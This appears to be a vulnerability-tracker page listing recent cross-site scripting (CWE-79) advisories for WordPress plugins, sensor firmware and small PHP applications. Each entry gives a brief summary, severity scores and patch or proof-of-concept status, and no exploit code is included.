A “CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')” allows malicious users to permanently inject arbitrary Javascript code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sensor Net Connect Firmware V2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpdm_all_packages' shortcode in all versions up to, and including, 3.2.97 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Download Manager
NVD
EPSS 1% CVSS 6.9
MEDIUM POC This Month

A vulnerability classified as problematic was found in itsourcecode Online Blood Bank Management System 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Blood Bank Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Formidable Forms - Contact Form Plugin, Survey, Quiz, Payment, Calculator Form & Custom Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘html’ parameter in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Formidable Forms
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Record Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Record Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Record Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Record Management System
NVD GitHub VulDB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39068

Related CWEs

MITRE ATT&CK

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